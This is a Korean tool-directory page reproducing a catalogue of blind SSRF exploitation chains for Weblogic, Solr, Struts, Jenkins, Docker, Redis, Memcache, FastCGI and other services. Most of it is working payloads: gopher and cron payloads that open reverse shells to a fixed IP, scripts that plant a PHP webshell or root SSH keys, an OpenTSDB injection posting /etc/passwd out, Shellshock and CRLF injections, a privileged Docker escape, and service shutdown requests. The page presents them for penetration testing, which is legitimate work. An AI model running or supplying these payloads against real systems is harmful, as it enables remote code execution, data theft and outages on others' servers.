Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
blind-ssrf-chains — 블라인드 SSRF 취약점을 연쇄적으로 활용할 수 있는 모든 가능한 방법에 대한 포괄적인 목록 | Kitploit
도구/GitHubGitHub/assetnote/blind-ssrf-chains
ReconnaissanceVulnerability AnalysisExploitationWeb SecurityPenetration TestingCloud SecurityLearning & EducationCurated Resources
GitHubassetnote/blind-ssrf-chains

blind-ssrf-chains

블라인드 SSRF 취약점을 연쇄적으로 활용할 수 있는 모든 가능한 방법에 대한 포괄적인 목록

저장소 보기
98612214년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

소개

서버 측 요청 위조(SSRF)란?

서버 측 요청 위조는 서버를 강제로 대신 임의의 요청을 보내도록 할 때 발생합니다. 요청이 서버에 의해 이루어지기 때문에 서버가 네트워크 상에 위치한 곳에 따라 내부 리소스에 접근할 수 있을 수 있습니다. 클라우드 환경에서는 민감한 자격 증명이나 비밀을 포함할 수 있는 메타데이터 엔드포인트의 존재로 인해 SSRF가 더 큰 위험을 제기합니다.

블라인드 SSRF

서버 측 요청 위조를 익스플로잇할 때 응답을 읽을 수 없는 상황에 자주 처하게 됩니다. 업계에서는 이러한 동작을 '블라인드 SSRF'라고 부릅니다. 이러한 상황에서 어떻게 영향을 증명할 수 있을까요? 이는 Justin Gardner가 트위터에서 촉발한 흥미로운 논의였습니다:

I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg

— Justin Gardner (@Rhynorater) January 13, 2021

내부 리소스에 도달할 수 있다면 영향을 증명하기 위해 실행할 수 있는 여러 잠재적 익스플로잇 체인이 있습니다. 이 블로그 게시물은 블라인드 SSRF를 활용할 때 알려진 각 익스플로잇 체인에 대해 자세히 설명하며, 더 많은 기술이 발견되고 공유됨에 따라 업데이트될 것입니다.

놓친 기술이 있다면 트윗이나 DM을 보내주세요: @assetnote. 이 블로그에 추가하겠습니다.

SSRF 카나리

I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.

— Frans Rosén (@fransrosen) January 13, 2021

내부 서비스나 애플리케이션과 상호 작용할 수 있는지 확인하기 위해 'SSRF 카나리'를 활용할 수 있습니다.

이는 다른 SSRF를 수행하고 카나리 호스트로 호출하는 내부 URL을 요청할 때입니다. 카나리 호스트로 요청을 받으면 아웃바운드 요청도 가능한 내부 서비스를 성공적으로 공격한 것입니다.

이는 SSRF 취약점이 내부 네트워크나 애플리케이션에 접근할 수 있는지, 그리고 내부 네트워크에 특정 소프트웨어가 존재하는지 확인하는 효과적인 방법입니다. 또한 SSRF 카나리의 위치에 따라 내부 네트워크의 더 민감한 부분으로 피벗할 수도 있습니다.

DNS 데이터 소스와 AltDNS를 사용하여 내부 호스트 찾기

가능한 한 많은 내부 호스트를 찾는 것을 목표로 DNS 데이터 소스를 활용하여 내부 호스트를 가리키는 모든 레코드를 찾을 수 있습니다.

클라우드 환경에서는 내부 VPC 내의 호스트를 가리키는 ELB를 자주 볼 수 있습니다. 대상 자산이 있는 VPC에 따라 동일한 VPC 내의 다른 호스트에 접근할 수 있을 수도 있습니다.

예를 들어, DNS 데이터 소스에서 다음 호스트가 발견되었다고 가정해 보겠습니다:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

root@kitploit:~
`es`가 Elasticsearch를 의미한다고 가정할 수 있으며, 그런 다음 이 호스트에 대해 추가 공격을 수행할 수 있습니다. 또한 이 방법을 통해 식별된 모든 "내부" 호스트에 대해 이러한 블라인드 SSRF 페이로드를 모두 스프레이할 수도 있습니다. 이는 종종 효과적입니다.

더 많은 내부 호스트를 찾으려면 모든 DNS 데이터를 가져와 [AltDNS](https://github.com/infosec-au/altdns)와 같은 도구를 사용하여 변형을 생성한 다음 [빠른 DNS 무차별 도구](https://github.com/blechschmidt/massdns)로 해석하는 것을 추천합니다.

이 작업이 완료되면 새로 발견된 모든 내부 호스트를 식별하고 이를 블라인드 SSRF 체인의 일부로 사용하십시오.

## 사이드 채널 누출

블라인드 SSRF 취약점을 익스플로잇할 때 반환되는 응답에 대한 일부 정보를 누출할 수 있습니다. 예를 들어, XXE를 통한 블라인드 SSRF가 있다고 가정해 봅시다. 오류 메시지는 다음을 나타낼 수 있습니다:

- 응답이 반환됨

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

대비

- 호스트와 포트에 연결할 수 없음

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

마찬가지로, XXE 외에도 웹 애플리케이션은 다음과 같은 차이점을 검사하여 파악할 수 있는 사이드 채널 누출이 있을 수 있습니다:

- **응답 상태 코드**:

온라인 내부 자산:포트는 `200 OK`로 응답하는 반면 오프라인 내부 자산:포트는 `500 Internal Server Error`로 응답

- **응답 내용**:

요청하려는 URL에 도달 가능한지 여부에 따라 응답 크기(바이트)가 더 작거나 더 큼

- **응답 시간**:

요청하려는 URL에 도달 가능한지 여부에 따라 응답 시간이 더 느리거나 빠름

---------------

# 기법
**HTTP(s)를 통해 가능**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [기타 Atlassian 제품](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**Gopher를 통해 가능**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**도구**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**HTTP(s)를 통해 가능**

<div id="elasticsearch"></div>

## Elasticsearch

**일반적으로 바인딩되는 포트: 9200**

Elasticsearch가 내부에 배포될 때 일반적으로 인증이 필요하지 않습니다.

부분적으로 블라인드 SSRF가 있어 상태 코드를 확인할 수 있다면, 다음 엔드포인트가 200을 반환하는지 확인하십시오:```http
/_cluster/health
/_cat/indices
/_cat/health

블라인드 SSRF에서 POST 요청을 보낼 수 있는 경우, 다음 경로로 POST 요청을 보내 Elasticsearch 인스턴스를 종료할 수 있습니다:

참고: _shutdown API는 Elasticsearch 버전 2.x. 이상에서 제거되었습니다. 이것은 Elasticsearch 1.6 이하에서만 작동합니다:```http /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown

root@kitploit:~
<div id="weblogic"></div>

## Weblogic

**일반적으로 바인딩되는 포트: 80, 443 (SSL), 7001, 8888**

**SSRF 카나리: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

이는 GET을 통해서도 작동합니다:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

root@kitploit:~
이 엔드포인트는 CRLF 주입에도 취약합니다:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

다음 요청이 발생합니다:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive

sdf
root@kitploit:~
**SSRF Canary: CVE-2020-14883**

[여기](https://forum.90sec.com/t/topic/1412)에서 가져왔습니다.

리눅스:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

root@kitploit:~
<div id="consul"></div>

## Hashicorp Consul

**일반적으로 바인딩되는 포트: 8500, 8501 (SSL)**

글은 [여기](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)에서 확인할 수 있습니다.

<div id="shellshock"></div>

## Shellshock

**일반적으로 바인딩되는 포트: 80, 443 (SSL), 8080**

Shellshock를 효과적으로 테스트하려면 페이로드가 포함된 헤더를 추가해야 할 수 있습니다. 다음 CGI 경로를 시도해 볼 가치가 있습니다:

테스트할 CGI 경로의 짧은 목록:

[경로가 포함된 Gist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).

**SSRF Canary: User Agent를 통한 Shellshock**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

일반적으로 바인딩되는 포트: 80, 8080, 8888, 8082

Apache Druid API 참조는 여기에서 확인하세요.

상태 코드를 볼 수 있다면, 다음 경로들이 200 상태 코드를 반환하는지 확인하세요.```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus

root@kitploit:~
종료 작업은 작업 ID 또는 데이터 소스 이름을 추측해야 합니다:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Apache Druid Overlords에서 수퍼바이저 종료:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown

root@kitploit:~
<div id="solr"></div>

## Apache Solr

**일반적으로 바인딩된 포트: 8983**

**SSRF 카나리: Shards 매개변수**

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">shubham이 말한 것에 덧붙이자면 - solr을 스캔하는 것은 비교적 쉽습니다. shards= 매개변수를 사용하면 SSRF를 통해 SSRF로 바운스하여 블라인드로 solr 인스턴스를 대상으로 하고 있는지 확인할 수 있습니다.</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">2021년 1월 13일</a></blockquote>

여기에서 가져옴 [here](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (패킷스톰)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}

root@kitploit:~
**dataImportHandler를 통한 RCE**

[dataImportHandler를 통한 RCE에 대한 연구](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

<div id="peoplesoft"></div>

## PeopleSoft

**일반적으로 바인딩된 포트: 80,443 (SSL)**

이 연구에서 가져옴 [여기](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).

**SSRF Canary: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...

root@kitploit:~
<div id="struts"></div>

## Apache Struts

**일반적으로 바인딩되는 포트: 80, 443 (SSL), 8080, 8443 (SSL)**

[여기](https://blog.safebuff.com/2016/07/03/SSRF-Tips/)에서 가져옴.

**SSRF 카나리아: Struts2-016**:

알고 있는 모든 내부 엔드포인트/URL 끝에 다음을 추가하세요:

``````http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

일반적으로 바인딩되는 포트: 80,443 (SSL),8080,8443 (SSL)

여기에서 가져옴.

SSRF 카나리: URL에서 WAR 배포```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

root@kitploit:~
<div id="confluence"></div>

## Confluence

**일반적으로 바인딩되는 포트: 80, 443 (SSL), 8080, 8443 (SSL)**

**SSRF Canary: Sharelinks (2016년 11월 및 그 이전에 출시된 Confluence 버전)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian 보안 티켓 OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

root@kitploit:~
<div id="jira"></div>

## Jira

**일반적으로 바인딩되는 포트: 80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian Security Ticket JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

root@kitploit:~
<div id="atlassian-products"></div>

## 기타 Atlassian 제품

**일반적으로 바인딩되는 포트: 80,443 (SSL),8080,8443 (SSL)**

**SSRF 카나리: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Atlassian 보안 티켓 OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

일반적으로 바인딩되는 포트: 4242

OpenTSDB 원격 코드 실행

SSRF 카나리아: curl을 통한 RCE```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

root@kitploit:~
[OpenTSDB 2.4.0 원격 코드 실행](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF Canary: curl via RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

일반적으로 바인딩되는 포트: 80,443 (SSL),8080,8888

훌륭한 글이 여기에 있습니다.

SSRF Canary: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

root@kitploit:~
**RCE**

여기에 설명된 지침을 따라 GET을 통해 RCE를 달성하십시오: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

Groovy를 통한 RCE``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

root@kitploit:~
<div id="hystrix"></div>

## Hystrix 대시보드

**일반적으로 바인딩되는 포트: 80,443 (SSL),8080**

Spring Cloud Netflix, 버전 2.2.x (2.2.4 미만), 버전 2.1.x (2.1.6 미만).

**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

일반적으로 바인딩되는 포트: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

이는 PUT 요청이어야 합니다:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

root@kitploit:~
**SSRF Canary**

이 취약점에 대한 권고는 여기에서 발표되었습니다: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)

이 PHP 코드는 SSRF Canary 호스트에 대한 페이로드를 생성합니다 (`url`을 당신의 카나리 호스트로 대체하세요):```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

일반적으로 바인딩된 포트: 2375, 2376 (SSL)

부분적으로 블라인드 SSRF가 있는 경우, 다음 경로를 사용하여 Docker API의 존재를 확인할 수 있습니다:```bash /containers/json /secrets /services

root@kitploit:~
**임의의 도커 이미지 실행을 통한 RCE**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

alpine을 도커 컨테이너가 실행할 임의의 이미지로 바꾸십시오.

Gitlab Prometheus Redis Exporter

일반적으로 바인딩된 포트: 9121

이 취약점은 13.1.1 이전 버전의 Gitlab 인스턴스에 영향을 미칩니다. Gitlab 문서에 따르면 Prometheus and its exporters are on by default, starting with GitLab 9.0.

이러한 익스포터는 공격자가 CVE-2020-13379를 사용하여 다른 서비스를 피벗하고 공격할 수 있는 훌륭한 방법을 제공합니다. 쉽게 악용될 수 있는 익스포터 중 하나는 Redis Exporter입니다.

다음 엔드포인트는 공격자가 target 매개변수를 통해 제공된 redis 서버의 모든 키를 덤프할 수 있게 합니다:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

root@kitploit:~
**Gopher를 통해 가능**

<div id="redis"></div>

## Redis

**일반적으로 바인딩되는 포트: 6379**

추천 자료:

- [HTTP 요청을 통해 Redis 해킹 시도하기](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Redis에 대한 SSRF 공격](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**Cron을 통한 RCE** - [Gopher 공격 표면](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

root@kitploit:~
**RCE via Shell Upload (PHP)** - [Redis Getshell 요약](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE를 통한 authorized_keys - Redis Getshell 요약```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"

shell="\n\n\n\n"

sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd

if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

root@kitploit:~
**Git 프로토콜을 통한 GitLab RCE**

Liveoverflow의 훌륭한 글 [여기](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)에서 확인하세요.

이 취약점을 악용하려면 GitLab에 인증된 접근이 필요하지만, `git` 프로토콜이 해킹 대상에서 작동할 수 있으므로 여기에 페이로드를 포함합니다. 이 페이로드는 참고용입니다.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

일반적으로 바인딩되는 포트: 11211

  • vBulletin Memcache RCE
  • GitHub Enterprise Memcache RCE
  • Memcache용 Gopher 페이로드 예제```bash gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/%0d%0adelete ssrftest%0d%0a
root@kitploit:~
<div id="tomcat"></div>

## Apache Tomcat

**일반적으로 사용되는 포트: 80,443 (SSL),8080,8443 (SSL)**

Tomcat 6에서만 유효함:

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

이 기술을 사용한 CTF writeup:

[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)


<div id="fastcgi"></div>

## FastCGI

**일반적으로 사용되는 포트: 80,443 (SSL)**

이것은 [여기](https://blog.chaitin.cn/gopher-attack-surfaces/)에서 가져왔습니다.```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

일반적으로 바인딩되는 포트: 1090,1098,1099,1199,4443-4446,8999-9010,9999

